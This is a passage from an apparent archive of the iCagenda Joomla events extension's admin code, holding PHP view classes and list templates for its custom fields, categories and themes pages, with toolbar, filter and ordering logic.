							<?php if ($item->parent_form == 1) : ?>
								<?php echo JText::_('COM_ICAGENDA_CUSTOMFIELD_PARENT_REGISTRATION_FORM'); ?>
							<?php elseif ($item->parent_form == 2) : ?>
								<?php echo JText::_('COM_ICAGENDA_CUSTOMFIELD_PARENT_EVENT_EDIT'); ?>
							<?php endif; ?>
						</td>

						<?php // Field Type ?>
						<td class="hidden-phone">
							<?php if ($item->type) : ?>
								<?php echo $this->escape($item->type); ?>
							<?php endif; ?>
						</td>

						<?php // Required ?>
						<td class="hidden-phone">
							<?php if ($item->required == 1) : ?>
								<?php //echo '<div class="btn btn-mini btn-success">' . JText::_('JYES') . '</div>'; ?>
								<?php echo JText::_('JYES'); ?>
							<?php else : ?>
								<?php //echo '<div class="btn btn-mini">' . JText::_('JNO') . '</div>'; ?>
								<?php echo JText::_('JNO'); ?>
							<?php endif; ?>
						</td>

				<?php // JOOMLA 2.5 ?>
				<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>

						<?php // Ordering Joomla 2.5 ?>
					<?php if (isset($this->items[0]->ordering)) { ?>
						<td class="order">
							<?php if ($canChange) : ?>
								<?php if ($saveOrder) :?>
									<?php if ($listDirn == 'asc') : ?>
										<span><?php echo $this->pagination->orderUpIcon($i, true, 'customfields.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
										<span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'customfields.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
									<?php elseif ($listDirn == 'desc') : ?>
										<span><?php echo $this->pagination->orderUpIcon($i, true, 'customfields.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
										<span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'customfields.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
									<?php endif; ?>
								<?php endif; ?>
								<?php $disabled = $saveOrder ?  '' : 'disabled="disabled"'; ?>
								<?php echo '<input type="text" name="order[]" size="5" value="'
											. $item->ordering . '" ' . $disabled . ' class="text-area-order" />'; ?>
							<?php else : ?>
								<?php echo $item->ordering; ?>
							<?php endif; ?>
						</td>
					<?php } ?>

				<?php endif; ?>
				<?php // END JOOMLA 2.5 ?>

						<?php // ID ?>
					<?php if (isset($this->items[0]->id)) { ?>
						<td class="center hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
					<?php } ?>

					</tr>
				<?php endforeach; ?>
				</tbody>
			</table>

			<div>
				<input type="hidden" name="task" value="" />
				<input type="hidden" name="boxchecked" value="0" />
				<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
				<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</div>
	</form>
<?php
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/customfields/view.html.php000060400000012624152455305270015432 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-02
 * @since       3.4.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - List of Custom Fields - iCagenda.
 */
class iCagendaViewCustomfields extends JViewLegacy
{
	protected $items;
	protected $pagination;
	protected $state;

	/**
	 * Display the view
	 *
	 * @since	3.4.0
	 */
	public function display($tpl = null)
	{
		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			jimport( 'joomla.environment.request' );

			JHtml::stylesheet( 'com_icagenda/icagenda-back.j25.css', false, true );
		}

		$this->state		= $this->get('State');
		$this->items		= $this->get('Items');
		$this->pagination	= $this->get('Pagination');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));

			return false;
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$this->sidebar = JHtmlSidebar::render();
			}
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	3.4.0
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT.DS.'helpers'.DS.'icagenda.php';

		$state		= $this->get('State');
		$user		= JFactory::getUser();
		$userId		= $user->get('id');
        $canDo		= iCagendaHelper::getActions();

		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title('iCagenda - ' . JText::_('COM_ICAGENDA_CUSTOMFIELDS'), 'customfields.png');
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_CUSTOMFIELDS') . '</span>', 'list-2');
		}

		$icTitle = JText::_('COM_ICAGENDA_CUSTOMFIELDS');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename = $app->getCfg('sitename');
		$title = $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;
		$document->setTitle($title);

		//Check if the form exists before showing the add/edit buttons
		$formPath = JPATH_COMPONENT_ADMINISTRATOR.'/views/customfield';

		if (file_exists($formPath))
		{
			if ($canDo->get('core.create'))
			{
				JToolBarHelper::addNew('customfield.add','JTOOLBAR_NEW');
			}

			if ($canDo->get('core.edit'))
			{
				JToolBarHelper::editList('customfield.edit','JTOOLBAR_EDIT');
			}
		}

		if ($canDo->get('core.edit.state'))
		{
            if (isset($this->items[0]->state))
            {
			    JToolBarHelper::divider();
			    JToolBarHelper::custom('customfields.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true);
			    JToolBarHelper::custom('customfields.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
            }
            else
            {
                //If this component does not use state then show a direct delete button as we can not trash
                JToolBarHelper::deleteList('', 'customfields.delete','JTOOLBAR_DELETE');
            }

            if (isset($this->items[0]->state))
            {
			    JToolBarHelper::divider();
			    JToolBarHelper::archiveList('customfields.archive','JTOOLBAR_ARCHIVE');
            }

            if (isset($this->items[0]->checked_out))
            {
            	JToolBarHelper::custom('customfields.checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true);
            }
		}

        // Show trash and delete for components that uses the state field
        if (isset($this->items[0]->state))
        {
		    if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
		    {
			    JToolBarHelper::deleteList('', 'customfields.delete','JTOOLBAR_EMPTY_TRASH');
			    JToolBarHelper::divider();
		    }
		    elseif ($canDo->get('core.edit.state'))
		    {
			    JToolBarHelper::trash('customfields.trash','JTOOLBAR_TRASH');
			    JToolBarHelper::divider();
		    }
        }

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::preferences('com_icagenda');
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			JHtmlSidebar::setAction('index.php?option=com_icagenda&view=customfields');

			JHtmlSidebar::addFilter(
				JText::_('JOPTION_SELECT_PUBLISHED'),
				'filter_published',
				JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.state'), true)
			);

			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_CUSTOMFIELDS_FILTER_OPTION_SELECT_PARENT_FORM'),
				'filter_parent_form',
				JHtml::_('select.options', $this->get('ParentForm'), 'value', 'text', $this->state->get('filter.parent_form'), true)
			);

			JHtmlSidebar::addFilter(
				JText::_('COM_ICAGENDA_CUSTOMFIELDS_FILTER_OPTION_SELECT_TYPE'),
				'filter_type',
				JHtml::_('select.options', $this->get('FieldTypes'), 'value', 'text', $this->state->get('filter.type'), true)
			);
		}
	}
}
com_icagenda/views/categories/view.html.php000060400000011242152455305270015051 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.5.4 2015-04-02
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

/**
 * View class Admin - List of Categories - iCagenda.
 */
class iCagendaViewCategories extends JViewLegacy
{
	protected $items;
	protected $pagination;
	protected $state;

	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		// Joomla 2.5
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			jimport( 'joomla.environment.request' );

			JHtml::stylesheet( 'com_icagenda/icagenda-back.j25.css', false, true );
		}

		$this->state		= $this->get('State');
		$this->items		= $this->get('Items');
		$this->pagination	= $this->get('Pagination');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();

			if (version_compare(JVERSION, '3.0', 'ge'))
			{
				$this->sidebar = JHtmlSidebar::render();
			}
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.6
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT . '/helpers/icagenda.php';

		$state		= $this->get('State');
		$user		= JFactory::getUser();
		$userId		= $user->get('id');
		$canDo		= iCagendaHelper::getActions();

		// Set Title
		if (version_compare(JVERSION, '3.0', 'lt'))
		{
			JToolBarHelper::title('iCagenda - ' . JText::_('COM_ICAGENDA_TITLE_CATEGORIES'), 'categories.png');
		}
		else
		{
			JToolBarHelper::title('iCagenda <span style="font-size:14px;">- ' . JText::_('COM_ICAGENDA_TITLE_CATEGORIES') . '</span>', 'folder');
		}

		$icTitle	= JText::_('COM_ICAGENDA_TITLE_CATEGORIES');

		$document	= JFactory::getDocument();
		$app		= JFactory::getApplication();
		$sitename	= $app->getCfg('sitename');
		$title		= $app->getCfg('sitename') . ' - ' . JText::_('JADMINISTRATION') . ' - iCagenda: ' . $icTitle;

		$document->setTitle($title);

		//Check if the form exists before showing the add/edit buttons
		$formPath = JPATH_COMPONENT_ADMINISTRATOR.'/views/category';

		if (file_exists($formPath))
		{
			if ($canDo->get('core.create'))
			{
				JToolBarHelper::addNew('category.add', 'JTOOLBAR_NEW');
			}

			if ($canDo->get('core.edit'))
			{
				JToolBarHelper::editList('category.edit', 'JTOOLBAR_EDIT');
			}
		}

		if ($canDo->get('core.edit.state'))
		{
			if (isset($this->items[0]->state))
			{
				JToolBarHelper::divider();
				JToolBarHelper::custom('categories.publish', 'publish.png', 'publish_f2.png', 'JTOOLBAR_PUBLISH', true);
				JToolBarHelper::custom('categories.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true);
			}
			else
			{
				// If this component does not use state then show a direct delete button as we can not trash
				JToolBarHelper::deleteList('', 'categories.delete', 'JTOOLBAR_DELETE');
			}

			if (isset($this->items[0]->state))
			{
				JToolBarHelper::divider();
				JToolBarHelper::archiveList('categories.archive', 'JTOOLBAR_ARCHIVE');
			}

			if (isset($this->items[0]->checked_out))
			{
				JToolBarHelper::custom('categories.checkin', 'checkin.png', 'checkin_f2.png', 'JTOOLBAR_CHECKIN', true);
			}
		}

		// Show trash and delete for components that uses the state field
		if (isset($this->items[0]->state))
		{
			if ($state->get('filter.state') == -2 && $canDo->get('core.delete'))
			{
				JToolBarHelper::deleteList('', 'categories.delete','JTOOLBAR_EMPTY_TRASH');
				JToolBarHelper::divider();
			}
			elseif ($canDo->get('core.edit.state'))
			{
				JToolBarHelper::trash('categories.trash','JTOOLBAR_TRASH');
				JToolBarHelper::divider();
			}
		}

		if ($canDo->get('core.admin'))
		{
			JToolBarHelper::preferences('com_icagenda');
		}

		if (version_compare(JVERSION, '3.0', 'ge'))
		{
			JHtmlSidebar::setAction('index.php?option=com_icagenda&view=categories');

			JHtmlSidebar::addFilter(
				JText::_('JOPTION_SELECT_PUBLISHED'),
				'filter_published',
				JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), 'value', 'text', $this->state->get('filter.state'), true)
			);
		}
	}
}
com_icagenda/views/categories/tmpl/index.html000060400000000032152455305270015367 0ustar00<html><body></body></html>com_icagenda/views/categories/tmpl/default.php000060400000040523152455305270015540 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.3.3 2014-04-12
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

$app = JFactory::getApplication();

// Access Administration Categories check.
if (JFactory::getUser()->authorise('icagenda.access.categories', 'com_icagenda'))
{
	$user		= JFactory::getUser();
	$userId		= $user->get('id');
	$listOrder	= $this->escape($this->state->get('list.ordering'));
	$listDirn	= $this->escape($this->state->get('list.direction'));
	$canOrder	= $user->authorise('core.edit.state', 'com_icagenda');

	$saveOrder	= $listOrder == 'a.ordering';

	if (version_compare(JVERSION, '3.0', 'lt'))
	{
		JHtml::_('behavior.tooltip');
		JHtml::_('script','system/multiselect.js',false,true);
	}
	else
	{
		// Include the component HTML helpers.
		JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');
		JHtml::_('bootstrap.tooltip');
		JHtml::_('behavior.multiselect');
		JHtml::_('formbehavior.chosen', 'select');
		JHtml::_('dropdown.init');

		$extension	= $this->escape($this->state->get('filter.extension'));

		$archived	= $this->state->get('filter.published') == 2 ? true : false;
		$trashed	= $this->state->get('filter.published') == -2 ? true : false;

		if ($saveOrder)
		{
			$saveOrderingUrl = 'index.php?option=com_icagenda&task=categories.saveOrderAjax&tmpl=component';
			JHtml::_('sortablelist.sortable', 'categoriesList', 'adminForm', strtolower($listDirn), $saveOrderingUrl, false, true);
		}
		//$sortFields = $this->getSortFields();
		$sortFields = array(); // Alchemy - tmp bug fix
		?>
		<script type="text/javascript">
			Joomla.orderTable = function()
			{
				table = document.getElementById("sortTable");
				direction = document.getElementById("directionTable");
				order = table.options[table.selectedIndex].value;
				if (order != '<?php echo $listOrder; ?>')
				{
					dirn = 'asc';
				}
				else
				{
					dirn = direction.options[direction.selectedIndex].value;
				}
				Joomla.tableOrdering(order, dirn, '');
			}
		</script>
		<?php
	}
	?>

	<form action="<?php echo JRoute::_('index.php?option=com_icagenda&view=categories'); ?>" method="post" name="adminForm" id="adminForm">
	<?php if (!empty( $this->sidebar)) : ?>
		<div id="j-sidebar-container" class="span2">
			<?php echo $this->sidebar; ?>
		</div>
		<div id="j-main-container" class="span10">
	<?php else : ?>
		<div id="j-main-container">
	<?php endif;?>

		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<fieldset id="filter-bar">
				<div class="filter-search fltlft">
					<label class="filter-search-lbl" for="filter_search"><?php echo JText::_('JSEARCH_FILTER_LABEL'); ?></label>
					<input type="text" name="filter_search" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('Search'); ?>" />
					<button type="submit"><?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?></button>
					<button type="button" onclick="document.id('filter_search').value='';this.form.submit();"><?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?></button>
				</div>
				<div class="filter-select fltrt">
					<select name="filter_published" class="inputbox" onchange="this.form.submit()">
						<option value=""><?php echo JText::_('JOPTION_SELECT_PUBLISHED');?></option>
						<?php echo JHtml::_('select.options', JHtml::_('jgrid.publishedOptions'), "value", "text", $this->state->get('filter.state'), true);?>
					</select>
				</div>
			</fieldset>
			<div class="clr"> </div>

		<?php else : ?>

			<div id="filter-bar" class="btn-toolbar">
				<div class="filter-search btn-group pull-left">
					<label for="filter_search" class="element-invisible"><?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_CATEGORIES_DESC'); ?></label>
					<input type="text" name="filter_search" placeholder="<?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_CATEGORIES_DESC'); ?>" id="filter_search" value="<?php echo $this->escape($this->state->get('filter.search')); ?>" title="<?php echo JText::_('COM_ICAGENDA_FILTER_SEARCH_CATEGORIES_DESC'); ?>" />
				</div>
				<div class="btn-group pull-left">
					<button class="btn tip hasTooltip" type="submit" title="<?php echo JText::_('JSEARCH_FILTER_SUBMIT'); ?>"><i class="icon-search"></i></button>
					<button class="btn tip hasTooltip" type="button" onclick="document.id('filter_search').value='';this.form.submit();" title="<?php echo JText::_('JSEARCH_FILTER_CLEAR'); ?>"><i class="icon-remove"></i></button>
				</div>
				<div class="btn-group pull-right hidden-phone">
					<label for="limit" class="element-invisible"><?php echo JText::_('JFIELD_PLG_SEARCH_SEARCHLIMIT_DESC'); ?></label>
					<?php echo $this->pagination->getLimitBox(); ?>
				</div>
				<!--div class="btn-group pull-right hidden-phone">
					<label for="directionTable" class="element-invisible"><?php echo JText::_('JFIELD_ORDERING_DESC'); ?></label>
					<select name="directionTable" id="directionTable" class="input-medium" onchange="Joomla.orderTable()">
						<option value=""><?php echo JText::_('JFIELD_ORDERING_DESC'); ?></option>
						<option value="asc" <?php if ($listDirn == 'asc') echo 'selected="selected"'; ?>><?php echo JText::_('JGLOBAL_ORDER_ASCENDING'); ?></option>
						<option value="desc" <?php if ($listDirn == 'desc') echo 'selected="selected"'; ?>><?php echo JText::_('JGLOBAL_ORDER_DESCENDING');  ?></option>
					</select>
				</div-->
				<!--div class="btn-group pull-right">
					<label for="sortTable" class="element-invisible"><?php echo JText::_('JGLOBAL_SORT_BY'); ?></label>
					<select name="sortTable" id="sortTable" class="input-medium" onchange="Joomla.orderTable()">
						<option value=""><?php echo JText::_('JGLOBAL_SORT_BY');?></option>
						<?php echo JHtml::_('select.options', $sortFields, 'value', 'text', $listOrder); ?>
					</select>
				</div-->
			</div>
			<div class="clearfix"> </div>

		<?php endif;?>


		<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
			<table class="adminlist">
		<?php else : ?>
			<table class="table table-striped" id="categoriesList">
		<?php endif; ?>

				<thead>
					<tr>
	<!-- Ordering HEADER Joomla 3.x (Test) -->
						<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
 						<th width="1%" class="nowrap center hidden-phone">
							<?php echo JHtml::_('grid.sort', '<i class="icon-menu-2"></i>', 'a.ordering', $listDirn, $listOrder, null, 'asc', 'JGRID_HEADING_ORDERING'); ?>
						</th>
						<?php endif; ?>

	<!-- CheckBox HEADER -->
						<th width="1%" class="hidden-phone">
							<input type="checkbox" name="checkall-toggle" value="" title="<?php echo JText::_('JGLOBAL_CHECK_ALL'); ?>" onclick="Joomla.checkAll(this)" />
						</th>

	<!-- Status HEADER -->
						<th width="1%" style="min-width:55px" class="nowrap center">
							<?php echo JHtml::_('grid.sort', 'JSTATUS', 'a.state', $listDirn, $listOrder); ?>
						</th>

	<!-- Color HEADER -->
						<th width="5%" class="nowrap hidden-phone">
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_CATEGORIES_COLOR', 'a.color', $listDirn, $listOrder); ?>
						</th>

	<!-- Title HEADER -->
						<th>
							<?php echo JHtml::_('grid.sort',  'COM_ICAGENDA_CATEGORIES_TITLE', 'a.title', $listDirn, $listOrder); ?>
						</th>


	<!-- Ordering HEADER Joomla 2.5 -->
					<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
						<?php if (isset($this->items[0]->ordering)) { ?>
						<th width="10%">
							<?php echo JHtml::_('grid.sort',  'JGRID_HEADING_ORDERING', 'a.ordering', $listDirn, $listOrder); ?>
							<?php if ($canOrder && $saveOrder) :?>
								<?php echo JHtml::_('grid.order',  $this->items, 'filesave.png', 'categories.saveorder'); ?>
							<?php endif; ?>
						</th>
	                	<?php } ?>
					<?php endif; ?>

	<!-- ID HEADER -->
						<th width="1%" class="nowrap hidden-phone">
							<?php echo JHtml::_('grid.sort', 'JGRID_HEADING_ID', 'a.id', $listDirn, $listOrder); ?>
						</th>


				</tr>
			</thead>
			<tfoot>
				<tr>
					<td colspan="10">
						<?php echo $this->pagination->getListFooter(); ?>
					</td>
				</tr>
			</tfoot>
			<tbody>
			<?php foreach ($this->items as $i => $item) :
				$ordering	= ($listOrder == 'a.ordering');
				$canCreate	= $user->authorise('core.create',		'com_icagenda');
				$canEdit	= $user->authorise('core.edit',			'com_icagenda');
				$canCheckin	= $user->authorise('core.manage',		'com_icagenda');
				$canChange	= $user->authorise('core.edit.state',	'com_icagenda');
//				$canEditOwn	= $user->authorise('core.edit.own',		'com_icagenda') && $item->created_by == $userId;
				$canEditOwn	= $user->authorise('core.edit.own',		'com_icagenda');
				?>
				<?php
	/* (Not in used currently)
				$originalOrders = array();
				foreach ($this->items as $i => $item) :
					$orderkey   = array_search($item->id, $this->ordering[$item->parent_id]);
					$canEdit    = $user->authorise('core.edit',       $extension . '.category.' . $item->id);
					$canCheckin = $user->authorise('core.admin',      'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0;
					$canEditOwn = $user->authorise('core.edit.own',   $extension . '.category.' . $item->id) && $item->created_user_id == $userId;
					$canChange  = $user->authorise('core.edit.state', $extension . '.category.' . $item->id) && $canCheckin;

					// Get the parents of item for sorting
					if ($item->level > 1)
					{
						$parentsStr = "";
						$_currentParentId = $item->parent_id;
						$parentsStr = " " . $_currentParentId;
						for ($i2 = 0; $i2 < $item->level; $i2++)
						{
							foreach ($this->ordering as $k => $v)
							{
								$v = implode("-", $v);
								$v = "-".$v."-";
								if (strpos($v, "-" . $_currentParentId . "-") !== false)
								{
									$parentsStr .= " " . $k;
									$_currentParentId = $k;
									break;
								}
							}
						}
					}
					else
					{
						$parentsStr = "";
					}
*/
					?>

			<!--tr class="row<?php echo $i % 2; ?>" sortable-group-id="<?php //echo $item->parent_id // invalid ?>" item-id="<?php echo $item->id ?>" parents="<?php //echo $parentsStr // invalid ?>" level="<?php //echo $item->level // invalid ?>"-->
				<tr class="row<?php echo $i % 2; ?>">

	<!-- Ordering Joomla 3.x (Test 3.3.3) -->
	<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
					<td class="order nowrap center hidden-phone">
					<?php if ($canChange) :
						$disableClassName = '';
						$disabledLabel	  = '';

						if (!$saveOrder) :
							$disabledLabel    = JText::_('JORDERINGDISABLED');
							$disableClassName = 'inactive tip-top';
						endif; ?>
						<span class="sortable-handler hasTooltip <?php echo $disableClassName; ?>" title="<?php echo $disabledLabel; ?>">
							<i class="icon-menu"></i>
						</span>
						<input type="text" style="display:none" name="order[]" size="5" value="<?php echo $item->ordering; ?>" class="width-20 text-area-order " />
					<?php else : ?>
						<span class="sortable-handler inactive" >
							<i class="icon-menu"></i>
						</span>
					<?php endif; ?>
					</td>
	<?php endif; ?>


	<!-- CheckBox -->
						<td class="center hidden-phone">
							<?php echo JHtml::_('grid.id', $i, $item->id); ?>
						</td>

	<!-- Status -->
 	              <?php if (isset($this->items[0]->state)) { ?>
					    <td class="center">
						    <?php echo JHtml::_('jgrid.published', $item->state, $i, 'categories.', $canChange, 'cb'); ?>
					    </td>
  	              <?php } ?>

	<!-- Color -->
						<td class="small hidden-phone">
							<div style="display:block; width:50px; height:40px; border-radius:5px; background:<?php echo $item->color; ?>;"></div>
						</td>

	<!-- Title -->
						<td class="nowrap has-context">
							<div class="pull-left">
								<?php if ($item->checked_out) : ?>
									<?php echo JHtml::_('jgrid.checkedout', $i, $item->editor, $item->checked_out_time, 'categories.', $canCheckin); ?>
								<?php endif; ?>
								<?php //if ($item->language == '*'):?>
									<?php //$language = JText::alt('JALL', 'language'); ?>
								<?php //else:?>
									<?php //$language = $item->language ? $this->escape($item->language) : JText::_('JUNDEFINED'); ?>
								<?php //endif;?>
								<?php if ($canEdit) : ?>
									<a href="<?php echo JRoute::_('index.php?option=com_icagenda&task=category.edit&id=' . $item->id); ?>" title="<?php echo JText::_('JACTION_EDIT'); ?>">
										<?php echo $this->escape($item->title); ?></a>
								<?php else : ?>
									<span title="<?php echo JText::sprintf('JFIELD_ALIAS_LABEL', $this->escape($item->alias)); ?>"><?php echo $this->escape($item->title); ?></span>
								<?php endif; ?>
							</div>

	<!-- DropDown Edit Joomla 3 -->
	<?php if(version_compare(JVERSION, '3.0', 'ge')) : ?>
							<div class="pull-left">
								<?php
									// Create dropdown items
									JHtml::_('dropdown.edit', $item->id, 'category.');
									JHtml::_('dropdown.divider');
									if ($item->state) :
										JHtml::_('dropdown.unpublish', 'cb' . $i, 'categories.');
									else :
										JHtml::_('dropdown.publish', 'cb' . $i, 'categories.');
									endif;

//									if ($item->featured) :
//										JHtml::_('dropdown.unfeatured', 'cb' . $i, 'categories.');
//									else :
//										JHtml::_('dropdown.featured', 'cb' . $i, 'categories.');
//									endif;

									JHtml::_('dropdown.divider');

									if ($archived) :
										JHtml::_('dropdown.unarchive', 'cb' . $i, 'categories.');
									else :
										JHtml::_('dropdown.archive', 'cb' . $i, 'categories.');
									endif;

									if ($item->checked_out) :
										JHtml::_('dropdown.checkin', 'cb' . $i, 'categories.');
									endif;

									if ($trashed) :
										JHtml::_('dropdown.untrash', 'cb' . $i, 'categories.');
									else :
										JHtml::_('dropdown.trash', 'cb' . $i, 'categories.');
									endif;

									// Render dropdown list
									echo JHtml::_('dropdown.render');
									?>
							</div>
		<?php endif; ?>


						</td>

	<!-- Ordering Joomla 2.5 -->
	<?php if(version_compare(JVERSION, '3.0', 'lt')) : ?>
             	   <?php if (isset($this->items[0]->ordering)) { ?>
					    <td class="order">
						    <?php if ($canChange) : ?>
							    <?php if ($saveOrder) :?>
								    <?php if ($listDirn == 'asc') : ?>
									    <span><?php echo $this->pagination->orderUpIcon($i, true, 'categories.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
									    <span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'categories.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
								    <?php elseif ($listDirn == 'desc') : ?>
									    <span><?php echo $this->pagination->orderUpIcon($i, true, 'categories.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?></span>
									    <span><?php echo $this->pagination->orderDownIcon($i, $this->pagination->total, true, 'categories.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?></span>
								    <?php endif; ?>
							    <?php endif; ?>
							    <?php $disabled = $saveOrder ?  '' : 'disabled="disabled"'; ?>
							    <input type="text" name="order[]" size="5" value="<?php echo $item->ordering;?>" <?php echo $disabled ?> class="text-area-order" />
						    <?php else : ?>
							    <?php echo $item->ordering; ?>
						    <?php endif; ?>
					    </td>
             	   <?php } ?>
		<?php endif; ?>


	<!-- ID -->
						<?php if (isset($this->items[0]->id)) { ?>
						<td class="center hidden-phone">
							<?php echo (int) $item->id; ?>
						</td>
        	        	<?php } ?>
					</tr>
					<?php endforeach; ?>
				</tbody>
			</table>

			<div>
				<input type="hidden" name="task" value="" />
				<input type="hidden" name="boxchecked" value="0" />
				<input type="hidden" name="filter_order" value="<?php echo $listOrder; ?>" />
				<input type="hidden" name="filter_order_Dir" value="<?php echo $listDirn; ?>" />
				<?php echo JHtml::_('form.token'); ?>
			</div>
		</div>
	</form>
	<?php
}
else
{
	$app->enqueueMessage(JText::_('JERROR_ALERTNOAUTHOR'), 'warning');
	$app->redirect(htmlspecialchars_decode('index.php?option=com_icagenda&view=icagenda'));
}
com_icagenda/views/categories/index.html000060400000000032152455305270014413 0ustar00<html><body></body></html>com_icagenda/views/themes/index.html000060400000000032152455305270013553 0ustar00<html><body></body></html>com_icagenda/views/themes/view.html.php000060400000004304152455305270014212 0ustar00<?php
/**
 *------------------------------------------------------------------------------
 *  iCagenda v3 by Jooml!C - Events Management Extension for Joomla! 2.5 / 3.x
 *------------------------------------------------------------------------------
 * @package     com_icagenda
 * @copyright   Copyright (c)2012-2015 Cyril Rezé, Jooml!C - All rights reserved
 *
 * @license     GNU General Public License version 3 or later; see LICENSE.txt
 * @author      Cyril Rezé (Lyr!C)
 * @link        http://www.joomlic.com
 *
 * @version     3.4.1 2014-12-29
 * @since       1.0
 *------------------------------------------------------------------------------
*/

// No direct access to this file
defined('_JEXEC') or die();

// Access check.
if (JFactory::getUser()->authorise('core.admin', 'com_icagenda'))
{
	JToolBarHelper::preferences('com_icagenda');
}

/**
 * View class Admin - Theme Manager - iCagenda
 */
class iCagendaViewthemes extends JViewLegacy
{
	/**
	 * Display the view
	 */
	public function display($tpl = null)
	{
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseError(500, implode("\n", $errors));
			return false;
		}

		// We don't need toolbar in the modal window.
		if ($this->getLayout() !== 'modal')
		{
			$this->addToolbar();
			if(version_compare(JVERSION, '3.0', 'ge'))
			{
				$this->sidebar = JHtmlSidebar::render();
			}
		}

		parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @since	1.6
	 */
	protected function addToolbar()
	{
		require_once JPATH_COMPONENT . '/helpers/icagenda.php';

		$state	= $this->get('State');

		// Set Title
		if(version_compare(JVERSION, '3.0', 'lt'))
		{
